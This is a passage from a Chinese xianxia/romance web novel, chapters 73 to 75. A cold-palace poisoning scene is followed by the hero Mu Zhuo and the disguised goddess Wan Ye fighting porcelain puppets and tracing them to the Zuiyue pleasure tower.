“啊哈哈哈哈哈”贵妃一步步走近,伸出纤细的手指,轻轻抚过碗口的青瓷。
那质感冰凉刺骨,仿佛带着可以送走整个皇室的死寂寒意。
冷宫的角落里,阴森的气息愈发浓重。
四周的墙壁上,诡异的纹路蔓延。
那太监浑然未觉危险降临,依旧端着药,脸上挂着令人作呕的笑容。
贵妃缓缓接过药碗,眼神冰冷地看着太监。就在太监准备催促贵妃喝下时,贵妃突然将药碗狠狠砸向地面。
“砰”的一声,药碗破碎,黑色的药汁溅射到太监身上。
太监惊恐地瞪大双眼,还未及出声,便一头栽倒在地。
只见他眼口处瞬间流出鲜血,死不瞑目,脸上的表情凝固在极度的恐惧之中。
直到贵妃迈着决然的步伐离开,一缕黑烟如幽灵般悄然浮现,缓缓侵蚀着太监的尸体。
那具尸体开始剧烈抽搐,从七窍中不断流出黑色的液体,皮肤也如冻过的泥土般出现裂纹。
“嘭”的一声,整个人竟炸开,变成四下飞溅的碎片。
第二天,清冷的晨光洒落在冷宫门前,一个小太监捂着鼻子,不情愿地将地上碎掉的陶瓷人偶扫起,随手扔进了垃圾堆。
仿佛那只是一件无关紧要的垃圾。
皇城外面,寒风如刀,割过萧索的大地。
枯黄的野草在风中瑟瑟发抖,远处的山峦一片死寂,毫无生机。
宛楪看着眼前你一句恭维我一句过奖,聊得火热的两人,实在插不上话,不禁挑了挑眉。
“神女姐姐,您是怎么来北国的呀?是为了陪慕兄吗?”
李琰起了逗弄的心思,笑嘻嘻地对宛楪说道,眼中闪烁着狡黠的光芒。
慕酌不动声色地侧身,挡在宛楪前面,神色隐隐有些不悦,不假思索地说道:“当然是。”
“不是。”宛楪眉头微蹙,往旁边走了两步,看着慕酌,心中满是奇怪。
这人最近怎么总是挡在自己身前,害得她前面什么都看不到。
“我们是合作关系,我要找一个孩子,被你们那个吃人延寿的将军抓走了。我担心他,想来救他,就和慕将,呃,他。”
宛楪用手指了指慕酌,为了避免泄露身份,她言辞间十分谨慎。
慕酌咬着后槽牙,满脸不高兴,偷偷给李琰翻了一个白眼,随后看向宛楪,一脸严肃地说道:
“他知道咱们的身份,咱们的底细已经被他摸得透透的了。你可别觉得他是什么好人,他那心黑着呢!”
“就我进入北国的这段时间,不知道踩了多少他挖的坑,他这个人,差劲透顶了。咱们一定要小心啊!”
他特意加重了“咱们”二字,一句话里竟说了三个,每个“咱们”都像是在强调着什么。
李琰听到慕酌当着神女的面诋毁自己,心中大为不满,刚要张嘴反驳,却被慕酌那警告的眼神吓得把话咽了回去。
他心里明白,好汉不吃眼前亏,当下按照皇帝的旨意找到大哥,并把人救回来才是最要紧的事。
他虽然手中有些名贵药材,但终究没有赤魔蛊的完全解药。
慕酌这小子既然敢夸下海口,要么他拿出来的东西真有用,要么他手里面有解药。不管怎么样,此刻慕酌和自己算是一条船上的人。
至于北国信奉的神鬼之说,李琰心中一动,看向宛楪。
慕酌还在喋喋不休地数落着李琰的不是,李琰抬腿走上前,对着宛楪恭敬地行了一个礼,满脸真诚地说道:
“神女殿下,既然您如此忧心那个孩子,我属下有些可用之人,一定会竭力帮您找到。如果找到了,您也尽管告诉我。”
“在北国,虽说我没多大能耐,但护住一个人还是可以的。您若有需要,尽管跟我说,我一定帮您照顾好。”
这话说得情真意切,挑不出一丝毛病。
宛楪眼睛顿时亮了起来,正要开口回应,却又被慕酌打断,“她不需要!”
“我需要!”宛楪疑惑地看着慕酌,眼中满是不可思议与愤怒。
“不是慕酌,你什么意思?咱们不是合作伙伴吗?”
慕酌一下子愣住,听到这话,张了张嘴,却半晌没办法辩解。
宛楪不满地哼了一声,疑惑更甚,“看你们刚才相谈甚欢,应该也是合作伙伴吧。既然大家都是来合作的,他帮我,我怎么就不需要了!”
慕酌被怼得哑口无言,脸色一阵青一阵白。
“还有你最
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近怎么回事,以前不是对我喊打喊杀,恨不得我赶紧去死吗?现在怎么好像咱们关系不错似的。”
宛楪实在看不懂慕酌,在心里暗暗骂了一句神经病。
慕酌想为自己辩解,可话到嘴边,又硬生生折返回去,憋得满脸通红,憋屈至极。
他不说话,在宛楪看来就是默认,只能默默承受着宛楪不满的怒火,还有一旁李琰好奇的目光。
慕酌说不过宛楪,又气不过,忍不住又对李琰翻了一个白眼。
李琰正吃得津津有味,被这么一瞪,心里有些不服气,眼珠子一转,计上心来,朝着宛楪开口,装出一副委屈的样子,
“神女姐姐,您看他又瞪我!”
宛楪随即看向慕酌,眼中的不理解和不满愈发明显。
李琰感受到慕酌那冷冷的带着杀意的眼神,也不敢再过多造次,又对着宛楪行了一个礼,
“想必神女殿下是怜悯善良之人,才会对一个孩子如此上心。”
宛楪听后轻轻叹了一口气,抬头望向远方那片萧瑟的北国景色。
寒风肆虐,大地一片荒芜,远处的树木只剩下光秃秃的枝干,在风中张牙舞爪,诉说着无尽的凄凉。
“我以前也救过一个孩子,可惜最后不知道他去了哪里,还是我从人鸭子那抢过来的。”
宛楪的眼神渐渐变得迷离,陷入了回忆之中,神色间透着一丝惆怅。她微微咬着下唇,眉头轻皱,眼神中流露出一抹难以言说的失落与忧伤。
虽然宛楪不懂为什么那些人叫“人鸭子”,但人类这么称呼,她便也跟着这么说,入乡随俗。
慕酌听闻宛楪此言,宛如一道惊雷在脑海中炸响,整个人瞬间如遭电击,完全乱了方寸。
他双眼死死地锁住宛楪,眼睛瞪得如同铜铃般滚圆,仿佛要看清将宛楪脸上的每一丝细微表情。
李琰何等敏锐,瞬间察觉到这气氛犹如暴风雨来临前的压抑沉闷,空气中似乎都弥漫着一股无形的紧张与尴尬。
他心里暗叫不好,明白此时绝非久留之际。
只见他脸上堆起一抹恰到好处的微笑,不着痕迹地拱了拱手,礼数周全地说道:“二位先聊着,我忽然想起还有些紧要之事亟待处理,就先行一步了。”
说罢,他微微欠身,旋即转身,脚步匆匆却又不失稳重地离去,像是生怕再多停留一秒,便会卷入这复杂的气氛之中。
刹那间,慕酌的脸上先是如疾风掠过湖面般,迅速闪过一丝难以掩饰的惊惧,紧接着,那恐惧如同潮水般汹涌袭来。
化作深深的害怕,几乎将他淹没。
他的嘴唇不受控制地微微颤抖起来,似是想要说些什么,却又被这突如其来的情绪哽住了喉咙。
紧接着,他急促地眨动几下眼睛。
他用力地吸气、呼气,胸膛剧烈地起伏着,试图凭借这一呼一吸来平复内心那翻江倒海般的情绪,努力让自己镇定下来。
好不容易,他勉强找回了表面上那副云淡风轻的模样,可眼神却不由自主地瞟向远处,像是在逃避着什么。
然而,仅仅一瞬,他又匆忙将眼神收回。
尽管他极力掩饰,但眼中那尚未完全消散的惊诧和后怕,依旧如阴霾般,隐隐萦绕。
仿佛在那平静的表象下,正隐藏着一场激烈的风暴,诉说着他内心深处那难以言说的复杂情绪。
73. 暗誓无声
救慕酌的人,是个女子,可站在眼前的,分明是自己军中的校尉。
那段生死间被拯救的过往,如烙印般深深刻在他的灵魂深处,每个细节都清晰如昨……
慕酌心底疑云翻涌。
他定是有着不为人知的苦衷,才会在那千钧一发之际,有什么难言之隐。
才让她当时救自己需要男扮女装,恰似北国如今这看似平静,实则暗潮汹涌、波谲云诡的局势。
反复思索后,慕酌看向宛楪的目光,不自觉交织着审视与猜疑。
只是,他实在难以判定,眼前之人是否就是那位于生死边缘将他救赎的恩人,又或是……
无数不安的念头,如汹涌的潮水在他脑海中肆意翻涌。
慕酌猛地晃了晃头,试图将这些纷扰的思绪统统驱散。
“走吧,回去琢磨下策略,之后就启程去找李胜。”他故作沉稳地说道。
宛楪静静地跟在他身后,斗篷与披衣将她紧紧裹住,脸上那层面纱,更添几分神秘。
毕竟她这身神女服饰太过出挑,尚未踏入皇城,便足以吸引众人的目光。
“你对那个孩子,有什么印象吗?”
慕酌忽地停下脚步,静静地等候宛楪,声音轻柔得如同微风拂过湖面。
“啊?”宛楪正走得出神,冷不丁一头撞在慕酌身后。她轻揉着鼻子,脸上写满了茫然与困惑。
慕酌缓缓转过身,目光温柔地落在宛楪身上,声音不自觉地愈发轻柔,此时北国的凉风悠悠拂过,竟褪去了前些天的凛冽,。
“就是你说的,以前救下的那个孩子,我……我不知怎的,有些好奇。”
“好奇,你以前不是对小孩子的事儿,一点都不感兴趣嘛,还总说我为啥对救个小孩子这么上心。”宛楪满心都是不解。
慕酌微微低下头,长长的眼睫投下一片淡淡的暗影,将他的神情悄然掩去几分,整个人透着一股难以言说的落寞与失意。
“其实也没啥特别的,那孩子挺乖巧的。"
记得有一回,我给了他些银两去买衣服,他却买了件白色的,自己却穿不了。”
宛楪看着慕酌那有些失落的模样,终究还是心软了,缓缓说道,
“或许他是想多买点布料吧,当时我也没太在意。”
慕酌的眼神瞬间炽热如焰,他凝望着远处连绵起伏的山峦,
潮湿的空气,随着每一次呼吸,缓缓沁入肺腑,
仿佛要将这世间的宁静与思绪都一同吸纳。
过了许久,他似是终于释怀,唇角泛起一抹浅浅的笑意,目光再次落回宛楪身上,轻声说道:
“你这身衣服不太适合,买件新的吧。今儿我心情好,去成衣铺你随意挑选,我来付账。”
宛楪略作思考,轻轻点了点头。总这么披着披风和面罩,确实不是长久之计。
二人并肩踏入成衣铺。店内,五彩斑斓的布料,绣工精美的成衣挂满四壁,空气中弥漫着丝线特有的淡雅气息。
原本喧闹的店铺,瞬间安静了下来,女掌柜手中正在整理的布料,险些失手滑落。
她的目光被慕酌牢牢吸引,像是被施了定身咒一般,愣在原地好一会儿,才匆匆回过神,继续手中的动作,可眼神却不受控制地频频飘向慕酌。
慕酌微微侧头,看向宛楪,眼中含着盈盈笑意,轻声询问:
“你喜欢什么颜色呢?”
宛楪微微歪着头,思索片刻后,“浅绿色。”
于是,在店员的推荐下,宛楪换上了新的服装。
浅绿色的裙摆,恰似春日河畔刚刚抽芽的嫩柳,随着她的每一步轻移,如同被微风轻抚,泛起层层如诗如画的涟漪。
领口与袖口处,精致的刺绣细腻入微,针脚细密,勾勒出栩栩如生的花朵,花瓣的纹理清晰可见,收腰的设计堪称精妙绝伦。
慕酌看着,整个世界仿佛都被点亮,每一次转身,都带出盈盈诗意。
仿佛她是从画中走出的仙子,山林间跳跃的精灵,来自九天之上的神女。
他的目光始终紧紧跟随着宛楪,眼中满是失而复得的温柔与珍视。
挺直的身板,漂亮的眼眸中映着夕阳的余晖,流转间满是灵动与慧黠,眼睫上,挂上了几颗晶莹的水珠闪烁着五彩的光芒。
肌肤洁白,在浅绿色裙摆的映衬下,倒映着世间的万千光芒。
宛楪嘴唇微微抿起,似含着一缕春风,带着俏轻盈欢快。
在慕酌眼中,此刻她似乎承载着世间所有美好的救赎之光,给这方天地带
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来了无尽的生机与希望。
他的眸光便愈发柔和,嘴角不经意间泛起的弧度。
宛楪不经意间回头,目光与慕酌交汇。
刹那间,她的心陡然一颤,仿佛有一只无形的手,轻轻拨动了她的心弦。
慕酌的眼神中,像是在凝视着这世间最珍贵的宝物,温柔得能将世间万物融化。
周身似被镀上了一层神圣而温暖的光芒,原本冷峻的气质此刻被渲染得庄重而温柔,宛如从古老传说中走出的神祇。
带着一种让人安心的力量,又似那指引迷途的灯塔,给人以无尽的依靠。
宛楪心中警铃大作,努力提醒自己,这个男人以前可是想杀了自己的。
可看着他为自己买了这么多东西,又如此温柔的模样,宛楪的心终究还是软了下来,轻叹一声。
算了,暂且不与他计较了。
慕酌内心犹如翻江倒海,各种情绪交织在一起。
过往的经历让他深知这世间的险恶。
如果宛楪真的是曾经救过自己的那个人,他现在肩负着一种无法言喻的责任……
自己的出现会不会给她带来伤害?
他嘴角泛起一抹似有若无的微笑,心中五味杂陈。
不过不管眼前的宛楪是自己曾经遇到的那个人,还是设计取他性命的,他都认了。
想到这儿,慕酌下意识地往旁边谨慎地看了一眼,眼神中带着一丝厌恶,仿佛那个潜在的威胁就隐匿在某个不为人知的角落,正窥视着他们的美好。
夕阳的余晖,如金色的薄纱,透过窗户,轻柔地倾洒在二人身上,为整个店铺披上了一层梦幻般的金装。
他暗暗下定决心,无论如何,都要保护好她,绝不让她受到一丝伤害,要用自己的全部力量,守护这份来之不易的美好。
店内的每一件成衣、每一缕丝线,都被余晖染上了温暖而柔和的色调,仿佛在低声诉说着此刻的温馨与美好,又似在为这一幕美好的场景吟唱着动人的诗篇。
店内几位挑选衣服的姑娘,脸颊瞬间泛起红晕,目光中满是羞涩与好奇。
不时偷偷打量慕酌,彼此间以极细微的声音窃窃私语,仿佛生怕惊扰了这美好的画面,只能用那细微的声音,传递着内心的惊叹。
74. 醉月楼前的危机
从成衣铺出来时,暮色已浓。斜阳的最后一点余烬在西边山峦上挣扎,将云层烧成暗紫色的淤血。街道两侧的灯笼次第亮起,橘黄的光晕在渐起的夜雾中晕开。
晚风带着寒,宛楪新换的浅绿裙裾,那颜色在暮色里显得沉静,不比白日的鲜亮。
慕酌走在她前半步的位置。这是军中养成的习惯——永远将后背留给可信之人,自己直面未知的前路。可此刻,这个习惯让他有些烦躁。他听不见她的脚步声,那种特制的软底绣鞋踩在青石板上几近无声;他看不见她的表情,只能从眼角余光瞥见一抹浅绿的影子,随着他的步伐起伏,像水底随波摇曳的水草。
安静得让人心慌。
“饿了么?”他忽然开口,声音在空旷的街道上显得突兀,“前面有家面馆,羊肉烩面做得不错。”
宛楪的脚步顿了顿。“将军今日……似乎格外关心属下的饮食。”她的声音很轻,带着一丝不易察觉的试探。
慕酌没有回头,只是放缓了步子,让她能与他并肩:“今日不称将军。出了军营,你我便是同行之人。”
“同行之人……”宛楪重复这个词,面纱下的唇角似乎弯了弯,“那慕公子想问我什么,不妨直说。从成衣铺出来这一路,你已三次欲言又止。”
慕酌哑然。他确实有话想问。想问那个买白衣的孩子你是否还记得,记得多少,想问许多年前的那个雨夜,她是否在尸山血海中向他伸出手。以及,这么多年,有没有想过他?
但话到嘴边,又觉得荒唐。若她真是当年那人,自己该怎么说,若不是,这些追问便成了冒犯。更何况……他的目光掠过她垂在身侧的手。那只手在暮色中白皙得近乎透明,指节纤细,指尖圆润,是一双适合抚琴作画的手,而不是握剑杀人。
可白日里在客栈后院,他分明看见她用这只手,以一根随手折下的树枝,点倒了三个试图偷窃的毛贼——手法之精妙,力道之精准,绝非寻常女子能有。
矛盾之处太多了。
“只是想起些旧事。”慕酌最终选择避开,“你说得对,先填饱肚子要紧。”
面馆藏在一条窄巷深处,幌子破旧,桌椅斑驳,但热气腾腾的大锅支在门口,羊肉与香料混合的浓郁香气飘出老远。这个时辰,店里已坐了不少人,多是附近的贩夫走卒,喧哗声、吸溜面条声、碗筷碰撞声响成一片。
慕酌挑了个靠里的位置,用袖子擦了擦长凳,才示意宛楪坐下。这个细微的动作让她抬眼看了他一下。
“两位客官,吃点什么?”老板娘是个爽利的中年妇人,围裙上沾着面粉,手里还拿着擀面杖。
“两碗羊肉烩面,多加一份肉。”慕酌掏出铜钱放在桌上,“再烫壶黄酒。”
“好嘞!”
宛楪摘下面纱,叠好放在一旁。昏黄的油灯下,她的脸被光影分割成明暗两面,睫毛在眼下投出长长的阴影。她垂着眼,用茶水冲洗碗筷,动作细致而专注,仿佛这是眼下最重要的事。
面很快端上来。粗瓷海碗里,奶白的汤汁上浮着红亮的辣油,大块的羊肉炖得酥烂,配着揪片和青菜,热气蒸腾。慕酌将多加肉的那碗推到她面前,自己端起另一碗,埋头吃起来。
他吃得很快,但不算粗鲁,是军营里练出来的效率——在食物凉透前吃完,在敌人到来前做好准备。
吃到一半时,宛楪忽然停下筷子。对面的人,吃相斯文得与这简陋的面馆格格不入。他先用筷子将面上的辣油拨开,挑出葱姜,然后小口小口地喝汤,再夹起一片羊肉,在嘴边轻轻吹凉,才送入口中。咀嚼时,他会微微侧过脸,用袖子掩住嘴角。
“不合胃口?”慕酌问。
宛楪摇头:“很好吃。只是……”她顿了顿,“小时候饿过,落下胃疾,吃不得太急。”
慕酌心头微动。边军,饿过是常事。他没再追问,只是将碗里的肉又夹了几块给她:“慢些吃,不急。”
宛楪却把所有的肉加了回去,“我吃饱了。”
两人安静地吃完面。黄酒温得刚好,入喉辛辣,而后回甘。慕酌斟了两杯,推一杯过去:“驱驱寒。”
宛楪端起酒杯,指尖在粗糙的陶杯上摩挲片刻,才仰头饮尽。酒液滑过喉咙时,她的眉头几不可察地蹙了一下,随即恢复如常。
但慕酌看见了。他记得,当年那个救他的人,也是这样——能面不改色地饮下最烈的烧刀子,却会在喝到温过的黄酒时,微微蹙眉。像是某种……本能的反感?
“客官,您的找零。”老板娘送来铜钱,顺口闲聊,“二位是外地来的吧?这个时辰还在外头逛,可得小心些。最近城里不太平。”
慕酌接过钱:“哦?怎么不太平?”
老板娘压低声音,往门口瞟了一眼:“好几处都出了怪事。西街刘掌柜家的小儿子,前儿夜里还好好的,第二天早上起来,整个人痴痴傻傻的,问他什么都不知道,只反复说‘瓷人姐姐真好看’。还有东市打更的老王,说是半夜看见一群‘瓷光闪闪’的人在屋顶上走,动作僵硬得很,吓得病了好几天。”
瓷人?瓷光?慕酌的指尖在桌面上轻轻敲了一下。
“官府没查?”他状似随意地问。
“查了,能查出什么?”老板娘撇嘴,“说是梦游,说是眼花。可哪有那么巧,好几个人都梦游?要我说啊……”她凑得更近,声音几不可闻,“怕是沾了什么不干净的东西。咱们平头百姓,天黑就关门,少在外头晃悠才是正经。”
说完,她转身去招呼别的客人了。
慕酌看向宛楪。她已经重新戴上面纱,只露出一双眼睛。那双眼睛在油灯下静如深潭,看不出情绪,但她的手指在桌下微微蜷缩了一下——很细微的动作,若非他一直留意,根本不会察觉。
“天色不早了。”慕酌起身,“回去吧。”
两人走出面馆时,夜色已完全笼罩街道。灯笼的光在雾气中晕开一团团模糊的光晕,能见度不过数丈。行人稀少,偶尔有马车匆匆驶过,轮毂碾过石板路的声响在寂静中格外清晰。
转过一个街角时,慕酌忽然停下。宛楪也跟着停下,顺着他的目光看去——
前方巷口深处,有一点极其微弱的光在闪烁。不是烛火,不是灯笼,而是一种冷硬的、类似于瓷器在月光下反光的质感。那光点移动得很慢,一明一灭,伴随着极其轻微的“咔嗒”声,像是瓷器轻轻碰撞。
紧接着,第二个光点出现,第三个……七八个光点在深巷中明明灭灭,缓缓移动。光点之间保持着整齐的距离,移动的节奏完全一致,诡异得不像活物。
更诡异的是,随着光点移动,空气中飘来一股极淡的、甜腻中带着腐朽的气息。
原本徐徐的晚风骤然变得急促,卷起地上的落叶和尘灰,打着旋儿扑向街道深处。灯笼在风中剧烈摇晃,光影凌乱如碎金,将两人的影子撕扯成扭曲的形状。
慕酌几乎是本能地将宛楪往身侧一拉,右手已按上剑柄。他微微眯起眼,目光如鹰隼般扫视四周——风里带着东西。不是落叶,不是灰尘,而是一种极细的、几乎看不见的粉末,在晃动的光影中泛着冷白的微光。
瓷粉。慕酌神色一凛,“退后。”他侧身,将宛楪完全护在身后。他的脊背绷得笔直,肌肉在衣料下贲张,整个人如一张拉满的弓。
宛楪却没有退。她向前踏了半步,与他并肩而立。浅绿裙摆在狂风中猎猎作响,面纱被风掀起一角,露出线条紧抿的下颌。她的手悄然垂在身侧,指尖微微蜷起,一丝极淡的、几乎无法察觉的青光在指间流转。
“来了。”她的声音很轻,却清晰地在风声中传入慕酌耳中。
话音未落,前方巷口的阴影里,忽然“走”出一个人。之所以说是“走”,是因为那东西确实有人的形态——四肢、躯干、头颅,穿着寻常百姓的粗布衣裳。但它的动作僵硬得不似活人,每一步都带着机械般的精准,膝盖不弯,脚掌平落,在青石板上踏出“嗒、嗒、嗒”的脆响。
像是瓷器敲击石板的声音。
然后是第二个,第三个……六个瓷傀从不同方向的阴影中现身,呈扇形缓缓逼近。它们走得很慢,却带着一种诡异的压迫感。月光照在它们脸上,皮肤呈现出瓷器般光滑的质感,没有皱纹,没有毛孔,只有死寂的白。眼睛是空洞的黑色,深处隐约有幽青的火光跳动。
慕酌的剑已出鞘三寸。寒光在夜色中一闪。
最前方的瓷傀忽然加速!它的动作快得惊人,与方才缓慢僵硬的步伐判若两物。只一瞬,它已扑到慕酌面前三步之内,右手成爪,直掏心口——那五指在月光下泛着瓷器冷光,指尖尖锐如锥。
慕酌不退反进。软剑完全出鞘,在空中划出一道银亮的弧线,直劈瓷傀手腕。他这一剑用了七分力,剑风撕裂空气,发出尖锐的啸鸣。
“铛——!”金铁交击般的巨响。剑刃斩在瓷傀腕上,竟迸出火星。那手腕没有断,只是表面出现一道细密的裂纹。瓷傀的动作顿了一瞬,空洞的眼睛转向自己的手腕,似乎有些“困惑”。
就这一瞬的空档,慕酌的第二剑已至。这一剑角度刁钻,直刺瓷傀颈侧——那里是关节连接处,釉面最薄。剑尖精准地刺入缝隙,慕酌手腕一拧,内力灌注剑身。
“咔嚓!”脆响如瓷器碎裂。瓷傀的整个头颅向右歪斜,颈侧裂开蛛网般的纹路。但它仍未倒下,反而用歪斜的头颅“盯”着慕酌,另一只手以不可思议的角度向后弯折,抓向他的面门!
慕酌正要回剑格挡,忽然感到一股极细微的、几乎无法察觉的波动从身侧传来。那波动无形无质,却带着某种古老而蛮荒的气息,仿佛深山里千年古木的根系在泥土中蔓延,又像是月光下冰川深处冰层的缓慢移动。波动掠过他的身侧,精准地“缠”上瓷傀的手臂。
瓷傀的动作猛地一滞。它的手臂停在半空,五指距离慕酌的面门只有三寸,却再也无法前进分毫。那种感觉,就像是被无数看不见的藤蔓牢牢捆缚,每挣扎一下,束缚就紧一分。
慕酌没有犹豫。他剑锋一转,改刺为削,软剑如银蛇般缠上瓷傀的脖颈。这一次,他没有再攻击关节缝隙,而是直接斩向已经开裂的颈侧裂纹。
“破!”一声低喝,内力如潮水般灌注剑身。
“哗啦——!”瓷傀的头颅应声而落,在地上滚了两圈,停在墙
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角。断颈处没有鲜血,只有光滑的瓷面,以及袅袅升起的、带着甜腻腐朽气味的黑气。无头的瓷傀身躯摇晃了两下,终于轰然倒地,碎成数十片。
余下的五个瓷傀停下了脚步。它们齐刷刷地“看”向慕酌——或者说,看向他身侧的宛楪。空洞的眼窝中幽青火焰剧烈跳动,那火焰里竟然隐隐透出一丝……畏惧?
然后,出乎意料地,它们没有继续攻击,而是缓缓后退。一步,两步,三步……退到巷口阴影边缘时,最中间的那个瓷傀忽然抬起手,指向东南方向——正是醉月楼所在的位置。它的手指在空中停顿了一息,然后,五个瓷傀同时转身,向着那个方向“跑”去。
说是跑,其实是一种诡异的疾行——双腿僵直,步幅极大,速度快得在夜色中拖出残影。它们所过之处,空气中留下淡淡的甜腻腐朽气息,还有细碎的瓷粉,在月光下泛着冷白的微光,像一条无形的路标。
“追!”慕酌低喝,身形已动。宛楪紧随其后。
两人一前一后,沿着瓷傀留下的气息和瓷粉痕迹疾追。那些瓷傀的速度极快,在纵横交错的街巷中穿梭,时而跃上屋顶,时而钻入窄巷,显然对皇城的布局极其熟悉。
慕酌越追越心惊,它们能在垂直的墙面上疾行如履平地,能从三丈高的屋顶一跃而下毫发无损,甚至能在狭窄的拐角处做出近乎直角转折的急停急转——这根本不是活人能做到的,甚至不是普通武者能做到的。
追了约莫一盏茶时间,前方的瓷傀忽然转入一条宽阔的街道。慕酌和宛楪追至街口,脚步同时一顿。
眼前是平康坊的主街,即便已是深夜,依然灯火通明。朱楼画阁鳞次栉比,丝竹声、笑语声、觥筹交错声从各栋楼里飘出,混成一片奢靡的繁华。空气里弥漫着酒香、脂粉香、还有各式香料混合的甜腻气息。
而那五个瓷傀,正朝着街中段最气派的那栋楼疾行。
醉月楼。五层高的楼阁飞檐翘角,檐下挂满大红灯笼,每一只灯笼上都用金粉写着“醉月”二字。楼内笙歌阵阵,人影绰绰,门外车马不绝,迎来送往,一派热闹景象。
瓷傀们在距离醉月楼还有十丈时,忽然分散。它们没有从正门进入,而是各自选择了不同的路径——一个跃上二楼阳台,一个转入侧边小巷,一个直接攀爬外墙,另外两个则混入醉月楼后院送货的仆役队伍中,眨眼间消失不见。
慕酌和宛楪站在街对面的阴影里,看着这一幕。
“它们……回家了。”慕酌低声说,声音里带着寒意。他的视线锁定醉月楼最高处。那里有一扇窗开着,窗后隐约可见人影晃动。月光照在窗棂上,他看见窗框边缘,有一点极其微弱的幽青冷光,一闪而逝。和陈望府水榭中那个香炉里的光,一模一样。
“那楼顶的石兽……”宛楪忽然开口,声音里带着一丝不易察觉的紧绷,“看起来不太对劲。”
慕酌顺着她的目光看去。醉月楼最高处的檐角上,蹲着几只石雕的异兽。形似夜枭,却生着三只眼睛,喙尖如钩,双翅收拢,做俯冲状。在月光下,那些石兽的眼窝深处,隐约有幽光流转。
“三眼枭。”慕酌的声音沉了下去,“前朝宫廷秘制的镇物,专用于聚阴养煞的阵法。我在师门的《异器录》残卷里见过记载——枭乃夜行猛禽,食腐肉,性属阴。三眼开,则可视阴阳,引阴气汇聚。用这种石兽做镇楼之物的,楼里必有极阴之物。”
他顿了顿,转头看向宛楪,目光复杂:“炼制瓷傀需以活人生魂为引,本就是至阴至邪之术。若再辅以聚阴阵法……”后面的话他没说完,但宛楪已经明白了。
这座醉月楼,是真正的魔窟。
“现在怎么办?”宛楪轻声问,“直接闯进去,还是……”
“等。”慕酌收回目光,转身隐入更深的阴影,“它们刚逃回去,楼内必有戒备。此刻强闯,正中下怀。”他顿了顿,看向宛楪:“你先回客栈,好好休息。黎明前,我们再来。”
楼内笙歌未歇,笑语依旧,繁华表象之下,不知藏着多少血腥秘密。而他们必须进去。不仅是为了查案,不仅是为了大皇子。更是为了弄清楚——这些瓷傀背后的主使者,究竟是谁;这座皇城,到底被侵蚀到了什么地步。
至于宛楪……慕酌的脑海中闪过她并肩而立时的侧影,闪过她指尖那抹若有若无的青光。疑点太多了。但现在不是深究的时候。
他深吸一口气,将杂念压下,脚步轻盈无声,气息收敛如石,整个人与夜色融为一体。
而对面的醉月楼最高处,那扇开着的窗后,一双眼睛正静静注视着街面。眼睛的主人身着鹅黄衣裙,指尖轻轻敲击窗棂,每一下都带着瓷器般的脆响。
她的目光掠过慕酌消失的小巷,又望向宛楪离开的方向,唇角缓缓勾起一抹没有温度的笑。
“来都来了……”她轻声自语,声音空洞如风吹过陶瓮,“那就……留下吧。”
窗棂上的幽青冷光,又闪了一下。像一只眼睛,在黑暗中眨了一下。
而楼下的街道上,几个醉醺醺的客人正互相搀扶着走出醉月楼,嘴里含糊不清地哼着小调,对即将降临的黑暗一无所知。
75. 瓷傀
客栈大厅里灯火昏黄,李琰独自坐在角落的阴影中,指尖无意识地摩挲着粗陶茶杯的边沿。
听到脚步声,他倏然抬头,目光越过慕酌,落在宛楪身上,随即起身恭敬行礼:“神女殿下。”
宛楪微微颔首,“二位想必有要事相商,我便不打扰了。”
眸光却掠过李琰袖口一道不易察觉的褶皱——那是久坐等待留下的痕迹。
说罢,她转身朝客房走去,浅绿裙摆拂过木质楼梯,悄然无声。
房门在身后合拢、落闩。烛光明艳,宛楪快步走到桌前,从怀中取出一块瓷白碎片。那是方才打斗时悄然拾起的,边缘锐利,触手冰凉。
她将碎片举至烛火前,凝神细看——釉面下似有极淡的纹路,如血脉般蜿蜒。
她闭目凝神,将一缕极细微的法力缓缓注入。碎片骤然轻颤,一股阴冷、古老、非人的气息自其中渗出,丝丝缕缕缠绕指尖。
宛楪猛地睁眼,脸色在烛光下褪尽血色。
不是邪术。
是妖气。
即便微弱至此,那股蛮荒精纯的力量本源,绝无错认。皇城深处,人族权贵府邸,竟藏着妖族的手笔?
瓷傀……聚阴阵……碎片在她掌心冷得像冰,寒意却直透心底。
本只想找到阿以,看到那个孩子平安就算了,事了便抽身离去。
可若此事牵连妖族,牵扯的便不止一城一国了。她收拢五指,碎片硌得掌心生疼。
楼下隐约传来压低的交谈声。宛楪深吸一口气,将碎片贴身收好,神色已恢复平静。
她打开门,正听见李琰对慕酌道:“魔化的皇兄行踪飘忽,但醉月楼明晚子时的‘珍奇会’,有一件压轴之物——‘指邪罗盘’。”
“据传此物对邪祟魔气感应极为敏锐,或可借此锁定皇兄方位。这是醉月楼的令牌,持此物可畅通无阻。我会安排财力拍下罗盘,届时还需慕兄亲自接应为妥。”
慕酌接过令牌,入手沉凉。
宛楪深吸一口气,将碎片贴身收好,神色已恢复平静。她推门而出,李琰见她出来,顺口问道:“神女殿下可要一同前往?”
“要。”宛楪答得没有丝毫犹豫。
慕酌几乎同时转身,眉头紧蹙:“那里太过危险,你不能去。”
宛楪倏然抬眼,目光直直看向他,带着一分不屑,“你凭什么不让我去?”
她向前半步,声音不高,却字字清晰,“又凭什么认定,我应付不来?”
慕酌一怔,似被她眼中罕见的锐意慑住。
宛楪已别开视线,语气缓和下来,却依然坚定:“放心,我自有分寸。”
她顿了顿,唇角极轻地弯了一下,那笑意淡而渺远,“说不定到最后,还得是我救你。”
话音落下,厅内一时寂静。窗外夜色沉浓,更声遥遥传来。
慕酌沉吟片刻,并没有以职务之便,强制要求宛楪不许去。
他看向李琰,问道:“殿下既已留意醉月楼,除罗盘外,可还知晓楼内是否有其他异常?比如……一些不像活人,更似邪祟的东西?”
“邪祟?”李琰一怔,面露疑惑,“慕兄为何忽然有此一问?醉月楼虽是烟花之地,鱼龙混杂,但毕竟在皇城之内,明面上……应当不至有邪祟公然横行吧?”
他略作思索,补充道:“不过,前番探查时,确觉内苑有些仆役行动略显僵硬刻板,面色也过于苍白。但青楼之地,用些手段控制仆役,或令其服用特殊药物以显‘非人’之态取悦贵客,也不算稀奇。我便未深想。慕兄,你这话是何意?可是发现了什么?”
慕酌从怀中取出一片碎瓷,置于桌上。“回来的路上,遇袭了。对手……便是这般模样。”他指尖轻点瓷片,“非人,躯壳似瓷,力大不畏伤痛,打碎后,留下这个。”
李琰的目光落在瓷片上,初时不解,待听清慕酌所言,脸色骤变,猛地从椅上站起:“什么?!慕兄你……遇到了这种东西?在何处?”
他俯身仔细查看瓷片,眼中充满了震惊与难以置信,“瓷质……人形……不畏伤痛……”
